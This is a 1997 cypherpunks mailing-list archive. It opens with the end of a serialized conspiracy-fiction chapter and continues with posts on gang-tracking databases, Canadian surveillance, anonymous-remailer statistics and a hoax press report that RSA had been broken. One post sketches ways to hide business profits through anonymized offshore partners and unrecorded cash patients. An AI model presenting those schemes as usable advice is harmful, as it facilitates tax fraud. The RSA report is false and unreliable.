question of the Magic Circle to be dealt with. And that would
be done soon...very soon.


Gomez was waiting for Cron to report back with the
results of his research on D'Shauneaux and the Cowboy. Gomez had
been over all of it a thousand times before, but he had expanded
the scope of the investigation this time and he would go over
it all again. If there were the slightest grain of information
to support the Cowboy's claim of his relationship to D'Shauneaux,
then Gomez would ferret it out.

He even had Cron running a data search on the word
'uncle'-not only on the current database, but also on the backup
archives that dated back to the very founding of the InterNet.
It would be a tremendous amount of information to sort through
but Gomez had a division of analysts at his beck and call, waiting
for the information to arrive.

Gomez did not relish thinking about what had to be
done if there was the slightest inkling the Cowboy might have
been telling the truth.
As much as he dreaded the notion, his only option at that point
would be to dismantle the InterNet and permanently 'terminate'
everyone involved in its operation. It made him sick to even think
about it. If TeleVision had been the regal crown in his Grand
Design, then the InterNet was the jewel in that crown. 


TeleVision had been one of Gomez's greatest inspirations.
It had come at a time when he was falling from favor with the
Evil One. So many times the Dark Council's plans had failed and
always-always-the Council had lain the blame at the feet of Gomez.

When Gomez saw the hypnotizing power of the 'Tube,
he instantly knew that it as the answer to finally enslaving the
minds of all mankind. His initial endeavors in using this medium
to manipulate men's minds were so overwhelmingly successful that
he gained back all of his previous power and more. Gomez no longer
had to answer to the Council of Darkness for his every action,
but only to report to them. 

The hand was his to play, and Gomez would use his
power well.

Gomez had moved quickly to consolidate his gains.
After blunting and capturing the minds of mankind though the power
of the media, his next priority was information. In the
past Gomez had been thwarted by the sheer number of humans involved,
as well as their being spread out into so many disparate groups
in terms of both their mental orientation and their physical distribution.

Television would be the tool used to change their
mind-set, breaking them into smaller and smaller factions and
then re-organizing them into larger, more cohesive units. The
problem, however, was that-even when a group-mind was achieved
that conformed to Gomez's requirements-the vast numbers of individuals
involved would result in an overwhelming accumulation of information
needed to track and control everyone and everything.

Gomez, in his brilliance, had recognized the required
capability in a new technological tool being used in a few specialized
areas of human society-the computer.  Gomez understood immediately
that the computer was the agent that would overcome the problems
that had plagued him in his previous plans for world domination.

His pitiful 'World Conquerors' were a joke. Every
time they came even remotely close to physically controlling a
majority of the masses everything would break down. Too many people,
too many languages, too many societies, too many religions. Too
many 'battle fronts' to manage and control.
Too much information to control...until now.

Gomez was a masterful tactician. He had immediately
maneuvered his lackeys into key positions throughout all areas
of the fledgling new industry. IBM, Sperry-Rand, MicroSoft, various
government and educational agencies.
Gomez had made certain that the main-frames would remain large,
expensive creatures, thus ensuring that their use would be confined
to the larger corporate, government, and societal organizations,
and giving him time to consolidate his behind-the-scene control
structures.
Gomez had made absolutely certain, that computers remained, in
the minds of the masses, tools for computation. Crunching numbers,
adding and subtracting, dividing and multiplying.

Anything that had to do with 'numbers', and nothing
to do with 'information'.

Gomez laughed until the tears rolled down his cheeks
at the sublime irony of it all. 

All his years of defeat during the centuries when
the world-it's countries, its cultures, its societies and its
people-was ruled by force. Era upon era when mankind was not only
ruled by the sword, and by the dictates of the powerful, but also
by their own mind's acceptance of this scheme of things.
Century upon century when the human mentality was oriented in
exactly the way that Gomez required-veneration and unquestioning
obedience of authority, acquiescence to their role of subservience
to those 'above' them.
Everything Gomez could hope for, and more, and he still could
not manage to bring them into unitary subordination under the
dominance of the Evil One.

Now, in an age when all his plans had gone askew-an
age when 'democracy' and 'freedom' had become 'king'-when the
masses had hitherto undreamed of access to information
and knowledge-now was the time when Gomez would
succeed in bringing the Grand Design to completion.


Gomez had moved his pawns into place slowly and cautiously,
placing them in positions that were low-key and had very little
public visibility.

The general public at that time had a basic fear
of-and antagonism towards-authority. What used to be the norm
was then reviled as fascism, totalitarianism, as dictatorship.
It was an age where 'individual rights' were esteemed and 'authority'
was denounced. 
So Gomez had made sure that computers remained basically 'number-crunchers'.
It was something that the masses considered not only non-threatening,
but ;boring; as well. He could move his own agents into place
in key positions and nobody noticed, nobody cared. 

'Computer geeks'-that's how his agents were regarded
in the mind of the average person. Uninteresting people doing
uninteresting things in a dull room somewhere within the bowels
of a huge, depersonalizing corporation. 'Fun and interesting'
had been the bywords of the day and anything less went unnoticed.

Gomez made sure that the information-gathering capabilities
of this new technology proceeded slowly, hardly being noticed,
and were brought into areas of application that dealt with the
mundane tasks that people were more than glad to be rid of and
that computers would thus be well received by the general populace.

Catalogue mailing labels...a wonderful application of the ability
of computers. It freed the workers of the drudgery involved in
the work, made production and delivery more efficient, less costly,
and thus more 'convenient' for their customers.

As Gomez moved computers towards the 'Information
Age', he did so in increments. The buzz words introduced were
benign words like 'number-crunching', 'data storage', 'labor-saving',
and the like. 
When any area of the industry began moving ahead of his long-term
plans then 'things happened'. An individual who devised some ground-breaking
new device would have an 'accident'. A corporation that was ready
to bring startling new capabilities to the industry would suffer
sudden 'reversals' and go bankrupt.

When Gomez finally deemed that society had sufficient
exposure to the technology to no longer feel threatened by it,
he allowed the development of the Personal Computer (PC) to proceed.


Gomez worked the birth and growth of PC's for use
by the masses like a fisherman works a fish when he's bringing
it in to shore. 
Set the hook...promise them everything they want, and more.
Productivity, efficiency, fun-the computer will do all
the work and you can sit back drinking champagne and eating caviar.

Reel them in...games-fun games. Get the youngsters involved.
The computer is a valuable educational tool, as well.

Not too much drag-let them take a little line when
they start fighting...Hey, computers are optional. Only if
you want one, only if you think it will make your life more 'convenient'.
No business, 'has' to have one, nobody 'has' to use them, it's
up to the individual.
Reel them in a little more...Your competition's using them,
do you really want to fall behind? Your friends got one for the
kids and they're doing better in school, don't you care
about your kids?


Gomez knew when he had reached the pivot-point, the
juncture where his whole plan would swing one way or another upon
it's axis.

Gomez had centered his activities around the United
States of America, the world-leader at the time, and also the
country that he knew would be the first to express disenchantment
with the new technology. The 'whiners' he called them, and they
were indeed the first to complain.

'Yuppies' was what they were called during the advent
of the computer era. Intelligent and prosperous, the creme-de-la-creme,
expecting the good life to be their God-given right and, oh yes,
they were so liberal and progressive...unless they didn't get
their own way.
"Computers are infringing on our freedom. We're losing our
individuality. We're becoming just another number in the system."

A 'good' fisherman can land his fish no matter how
hard they fight. He brings them in close to the boat and scoops
them up in the net.
Gomez was a 'great' fisherman. He got them to jump in the bloody
boat.

When the resistance to being 'dehumanized' started,
Gomez threw the ball to the Japanese, turning his eastern human
allies loose to surge ahead in technological development, leaving
the United States in the dust. He coordinated this surge with
a parallel onslaught of Japanese superiority in mechanical areas
such as home appliances and surface vehicles.
The results were almost instantaneous. Now, instead of decrying
the 'depersonalizing' impositions of the computer age, the populace
of the United States started 'demanding' that their leaders rebuff
this foreign assault on their position of dominance by dedicating
their efforts to regaining their God-given superiority in the
computer industry.

It never failed to amaze Gomez that his problem with
this 'democratic', 'educationally superior' group of self-righteous
'liberals' was not how to get them to succumb to the manipulations
he had devised to bring them into any communal mind-set he desired,
but rather, how to rein-in their ignominious little pea-brains
so that they wouldn't go off on totally new tangents six times
an hour under the influence of the 'ten second sound-byte' that
was the current fad in their society.

By the time that the masses were ready for computers,
Gomez's computers were ready for the masses.

Gomez made sure that the computer industry moved
in the direction of 'networking', the tying together of groups
of computers so that they formed a common link. How convenient.
The creatures could 'share' information between one another. Oh
yes, and 'sharing' meant developing 'standards' so that everything
would work together and be so much more 'convenient' for everybody.

And the silly creatures were exceedingly enamored
of themselves for being so intelligent, so efficient, so organized.
"Look what we can do now...we're so smart."

"No," Gomez thought to himself, "Look
what 'computers' can do now...'I'm' so smart."

Gomez had brought the 'Information Age' to fruition.
Information was power...and computers controlled the information.
 The more information one had, the more power one had. And the
wider the reach of their ability to gather and share information,
the more powerful and important these little creatures deemed
themselves to be.

"I've got the figures we needed. I pulled them
off the database server and ran them through a spreadsheet."

"I found a copy of the contract you wanted.
It was in one of the network files of a previous employee. Thank
heavens for backup tapes."

"I downloaded the tax tables from the government's
computer by modem. We have plenty of time to adjust our budget
for next year."

People were no longer anxious about information-gathering
infringing upon their 'personal space'-now they were anxious because
they couldn't access all the information, any time, anywhere,
at their slightest whim.

Gomez smiled. No problem. It was time to introduce
computer technology's step-child to the rank-and-file.


Welcome to the InterNet."


Chapter 22 - Welcome To The InterNet







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 30 Mar 1997 20:05:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: National Citizen-Unit
Message-ID: <TCPSMTP.17.3.30.-9.12.24.2780269260.1589628@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> Governor's Budget Includes Money to Set Up Gang-Tracking
 In> Network

 In> [...]

 In> [A]s part of the governor's anti-gang proposals, he's
 In> proposing to spend $625,000 worth of state and federal money
 In> to set up a gang-tracking computer database and network.

 In> Four agents of the Tennessee Bureau of Investigation will be
 In> assigned to do nothing but gather and maintain information
 In> about gangs in the state's four regions.
<snip>

 In> Information on the database could include a picture, a
 In> description, the gang affiliation, criminal convictions,
 In> crimes that a person is suspected in, and possible
 In> nicknames.

 -=> Quoting In:bdolan@usit.net to Harka <=-

 In> The important thing to note is that - as I understand the
 In> description of the program -  a person does not have to commit a
 In> crime to be included in the database.  They just have to have
 In> contact with a person or group which is already in it.

This has been going on in Germany for several years now under the
name "Raster-Fahndung" (cross-reference-search). What it means is as
you write it: even mere contacts to suspected "terrorists,
gang-members, drug-dealers" etc. is enough, to get you flagged as
"suspected supporter of [see above]".
An example of how one could get into that was being presented by a
german civil liberties group:
Let's say, there is a non-permitted demonstration going on in City
A of "anarchic chaots" (the german term for ultra-left-wing
groups). The police installs street barriers around the city and
screens the drivers licences in search of potential demonstrators.
Bob drives up, shows his ID and happens to be believed by the police
man to be somehow affiliated with the demonstration. They might
search his car and will let him go after that, if nothing is found.
However, his name will be put in a central database as "suspected
supporter of unconstitutional groups".
That is enough to target his entire family and close friends with
possible surveillance etc., if the police (or actually the interior
intelligence agency "for the protection of the constitution")
chooses to. Bob will never know of that and although, he has nothing
to do with the demonstrators, his name will be in such a database as
a suspect.

That example shows, that the law can be (mis)used to almost
unlimited surveillance on pretty much everybody to the hearts extent
of the "law-enforcement" agencies. And guess what? They will.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 00:58:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Citizen-Unit #22
Message-ID: <199703310858.AAA14407@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



 
WebWorld 22





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 02:15:06 -0800 (PST)
To: "James O'Toole" <otoole@LCS.MIT.EDU>
Subject: RE: Hard to Tax Scenario
In-Reply-To: <01BC3BDE.8901B420@slip-james.lcs.mit.edu>
Message-ID: <3.0.1.32.19970331021004.00629b58@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:23 AM 3/29/97 -0500, James O'Toole wrote:
>However, Ann has another alternative, which large organizations will also
have. 
>Ann can operate completely non-anonymously, but bleed profits out of her
business
>through the use of anonymized business partners who exist solely to assist 
>Ann in hiding her profits.  Crypto might make this scheme more foolproof
for Ann, 
>by enabling her to anonymously own and operate a network of covert
subsidiaries 
>that she does business with openly, and which collect most of her profits,
> but which themselves are for some reason not vulnerable to the tax
authority.

For instance, patients using Ann's services pay their money to
Alice's Anguillan Health Care Clinic, Ltd., which just happens to 
have a branch employing Ann at some vaguely plausible salary.
Either her salary is enough to keep the IRS relatively non-suspicious,
which works even if Alice's Clinic gets paid by government-regulated
insurance plans, at the cost of some taxes, or she's paid piece-rates 
(perhaps below market, or perhaps cash patients don't always get recorded.)
Perhaps Sister Ann has taken a vow of poverty and the IRS believes her?*
Perhaps Ann's rent is paid to a company that's really owned by Alice's?
Does Ann really own Alice's Clinic?  Most of this is standard non-crypto
tax avoidance stuff, but digicash and encrypted records and communications
make it a bit more private and convenient.

Also, there _is_ a business for cash-paying customers, who may choose
to retain their anonymity, either taking their medical records with them
on smartcards, or being treated under aliases - poor people who don't
have insurance, non-insured privacy enthusiasts, people worried about
socially awkward diseases, people with gunshot wounds they don't want to
explain
to the authorities, etc.  

[*OK, they're more likely to believe her if Alice's Clinic charges
substantially below-market rates than if she's charging full price,
but the under-the-table clients can help with that problem.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 31 Mar 1997 00:56:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: National Citizen-Unit
In-Reply-To: <TCPSMTP.17.3.30.-9.12.24.2780269260.1589628@nycmetro.com>
Message-ID: <333F7949.EB0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com wrote:

>  In> Governor's Budget Includes Money to Set Up Gang-Tracking
>  In> Network

>  In> [A]s part of the governor's anti-gang proposals, he's
>  In> proposing to spend $625,000 worth of state and federal money
>  In> to set up a gang-tracking computer database and network.

   Are they going to start with members of the legislature and law
enforcement agencies? (Might as well clear out the worst of the
bunch first.)

>  In> Four agents of the Tennessee Bureau of Investigation will be
>  In> assigned to do nothing but gather and maintain information
>  In> about gangs in the state's four regions.

  This plan was intially supposed to be introduced in Oakland, but
its designers soon realized that, outside of CIA operations, there
was very little criminal activity in the area.

>  -=> Quoting In:bdolan@usit.net to Harka <=-
>
>  In> The important thing to note is that - as I understand the
>  In> description of the program -  a person does not have to commit a
>  In> crime to be included in the database.  They just have to have
>  In> contact with a person or group which is already in it.

  This should put law enforcement officers at the top of the list.
  Theoretically, in order not to be included in the database, cops
would have to avoid all contact with criminals. (I think I'm starting
to like this idea!)

> This has been going on in Germany for several years now under the
> name "Raster-Fahndung" (cross-reference-search). What it means is as
> you write it: even mere contacts to suspected "terrorists,
> gang-members, drug-dealers" etc. is enough, to get you flagged as
> "suspected supporter of [see above]".

  I suppose they can merge in the voter registration database, for
starters, and round up all those supporters of the thugs on Capitol
Hill. (Even those who voted for the losers are guilty of 'attempted
commission of a crime', even if Donald, Mickey and Goofey entered
the fray with the best of intentions.)
--
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 06:28:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: rot13 Encoder/Decoder
Message-ID: <199703311428.GAA19872@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


http://otto.cmr.fsu.edu/~davis_t/rot13.cgi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 06:28:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Privacy? Not in Canada!
Message-ID: <199703311428.GAA19876@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


From: ag434@freenet.hamilton.on.ca (David Buchanan)
Newsgroups: alt.security.pgp,talk.politics.crypto
Subject: Re: If you want privacy, don't come to Canada!
Date: 30 Mar 1997 22:26:41 -0500
Organization: Hamilton-Wentworth FreeNet, Ontario, Canada.

CRIMINALS WON'T BE THE ONLY TARGETS

Criminals won't be the only targets if strong non-escrowed encryption is
outlawed although criminals provide a convenient excuse for governments
seeking to extend their power over their own citizens.

Even in Canada, a nation which can hardly be described as a police state,
there is good reason to fear the security and intelligence apparatus will be
used by the government against its legitimate and law-abiding political
opponents.  Let me give you two examples.

1) BUREAUCRAT'S "LET'S GET HIM" MEMO

Within the last couple of weeks, the Canadian public learned from news
reports about a meno written by a top level federal bureaucrat in which he
complained about the activities of a private citizen and suggested that his
fellow government officials should "take a look at this guy."  

The private citizen was a law-abiding, former military officer whose freedom
of information requests had exposed mismanagement and corruption in the
government.  This memo was particularly chilling because the recipients
included officials of the tax department and the Canadian Security and
Intelligence Service (CISIS) -- two agencies well suited to bringing pressure
to bear on private citizens.  Although the bureaucrat was caught in the act
this time, it is quite disturbing that a senior civil servant believes such a
memo to be normal and acceptable.

2) NEO-NAZI PLANTED IN OPPOSITION PARTY

During the last Canadian federal election, the ruling Progressive
Conservative Party (PCs) was losing voters to the Reform Party, a moderate,
small "c" conservative party based in Western Canada.  The PC's campaign
strategy was to accuse Reform of being "extremists" or "racists."

About the only evidence of this that the PCs were able to produce was the
founder and leader of a small neo-nazi style group who had attempted to
infiltrate the Reform Party with little success.  

Subsequently the public learned that the neo-nazi was actually a paid agent
of the Canadian Security and Intelligence Service (CISIS), an agency
ultimately controlled by the Progressive Conservative government.

There have been the expected denials from CISIS but the most plausible
interpretation of these events is that the Progressive Conservative
government tried to sabotage the electoral chances of the Reform Party by
planting a neo-nazi on its fringes.  

CISIS is one of the government agencies that definitely would have access to
all of the material obtained from the proposed key escrow or key recovery
type systems.

WHY HONEST CITIZENS SHOULD BE WORRIED

The increasing use of email and other data telecommunications will greatly
expand the amount of private and personal information on private citizens
that governments can collect, archive, and sift through whenever they need
weapons to use against their legitimate political opponents.  This
information can be collected very cheaply and used in ways that are difficult
for the government's victims to counter or even detect.  

For example, a simple telephone call to a cooperative bank official just
before the a target attempts to renew a line of credit for his business.  The
only effective way to prevent this is with the wide availability and use of
strong non-escrowed, non-key-recovery encryption.

As for those trusting souls out there who still believe they have nothing to
hide, ask yourself this question:  

   Would you be willing to email carbon copies of all your email messages 
   and online data transmissions to one of your political opponents?  

If secure encryption is banned, this is exactly what you will be doing and
you had better be prepared to agree with everything the government does on
every issue or take the consequences!

DB
--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 31 Mar 1997 06:50:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703311450.GAA29750@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 31 Mar 97 6:49:14 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              **######.###    51:35  99.99%
lucifer  lucifer@dhp.com                  ++++++++++++    36:24  99.98%
cyber    alias@alias.cyberpass.net        *+**+++*+++*    38:16  99.91%
weasel   config@weasel.owl.de             ++--++-++++   2:21:10  99.89%
replay   remailer@replay.com              **-**-+*-+-*  1:32:14  99.81%
balls    remailer@huge.cajones.com        ###+*##* +##     2:27  99.73%
squirrel mix@squirrel.owl.de              ++--++-++++   2:44:37  99.58%
dustbin  dustman@athensnet.com            + ++ +-++ +     49:04  99.35%
exon     remailer@remailer.nl.com         #*+# +##* **     4:34  99.25%
reno     middleman@cyberpass.net            +-++ +.-+-    50:50  98.87%
winsock  winsock@rigel.cyberpass.net      -----+---- -  3:56:33  98.65%
jam      remailer@cypherpunks.ca           * ** **   *    11:13  98.54%
extropia remail@miron.vip.best.com        ___.._.-.-   27:38:30  96.60%
mix      mixmaster@remail.obscura.com     ___.+_.-*    33:58:31  94.45%
shaman   remailer@lycaeum.org             ++-++-+   -+    28:03  86.87%
nym      config@nym.alias.net             ***#**-#-#      13:11  80.62%
haystack haystack@holy.cow.net                            52:19  -4.36%
middle   middleman@jpunix.com             +               35:43   2.13%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 31 Mar 1997 06:49:51 -0800 (PST)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Privacy? Not in Canada!
In-Reply-To: <199703311428.GAA19876@fat.doobie.com>
Message-ID: <199703311446.JAA06398@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	The Canadian privacy commissioner usually sends several people
to the CFP conference each year.  I've had good conversations with
them, and would be very suprised to see them as anything other than
opponents of this measure.

	Canadians might want to get in touch with them to voice
concern.

Adam


| CRIMINALS WON'T BE THE ONLY TARGETS
| 
| Criminals won't be the only targets if strong non-escrowed encryption is
| outlawed although criminals provide a convenient excuse for governments
| seeking to extend their power over their own citizens.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 31 Mar 1997 07:38:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Stego Question
Message-ID: <199703311538.KAA10639@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Stego Question:
  How many bodies does it take to spell,
"I _told_ you I was crazy!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 31 Mar 1997 08:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT
In-Reply-To: <199703311545.HAA24446@fat.doobie.com>
Message-ID: <333FE96F.5D95@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> 
>         Anonymous writes:
> >
> > ***  London Times, 30/03/1997   ***
> >
> > >Factoring problem broken:
> > >
> > >One of the main systems used by computer privacy
> > >programs around the world such as those used on
> > >the internet to prevent third parties eavesdropping
> > >on credit card transactions has been proven insecure,
> > >The RSA algorithm, based on the difficulty of "factoring"
> > >large numbers appears to have a weakness, a press
> > >release by the IACR (International Association for cryptologic
> > >research) reads as follows:
> 
> A little early for April Fools'.  "Sergei Ripov" indeed.

  I did a search through the online edition for anything to do with
encryption, RSA, algorithms, etc., and nothing came up for the last
few months.
  Maybe it's in the April 1st edition.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 08:03:00 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT?????
In-Reply-To: <199703310825.KAA13268@spoof.bart.nl>
Message-ID: <Pine.SUN.3.91.970331110509.18046C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


Is this for real or a troll???

On Mon, 31 Mar 1997, Anonymous wrote:

> ***  London Times, 30/03/1997   ***
> 
> >Factoring problem broken:
> >
> >One of the main systems used by computer privacy
> >programs around the world such as those used on
> >the internet to prevent third parties eavesdropping
> >on credit card transactions has been proven insecure,
> >The RSA algorithm, based on the difficulty of "factoring"
> >large numbers appears to have a weakness, a press 
> >release by the IACR (International Association for cryptologic 
> >research) reads as follows:
> 
> >"Leading researcher Ari Lenstra last night announced major 
> >progress had been made towards a solution to the factoring
> >problem, a result obtained by Sergei Ripov, researcher at
> >an obscure university in the former Soviet union, shows
> >conclusively that there exists a solution to the problem 
> >that is of polynomial time complexity, although this solution
> >has yet to be found this signals the beginning of the end for
> >a number of cryptosystems based on this problem, please note
> >a trivial solution to factoring also suggests a trivial solution
> >to the ECDLP and therefore a number of other systems such as
> >Diffie-Hellman and the El-Gamal group of cryptosystems should
> >be considered insecure"
> >
> >We were unable to contact the IACR for futher information.
> >The leading internet products company Netscape refused to
> >comment saying only "We regularly review data security
> >issues concerning all of our products".
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 08:09:18 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <Pine.SUN.3.91.970331111028.18046D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Declan McCullagh wrote:

> Does anyone have a copy of the heavensgate.com web pages?
> 
> I've found a couple mirrors of Higher Source already.
> 
> (If you don't know what I'm talking about, look at
> http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)
> 
> If you want to send something anonymously, finger -l declan@eff.org for my
> PGP public key.

The original (for higher source) is still at www.cris.com/~Font

=====================================Kaos=Keraunos=Kybernetos==============
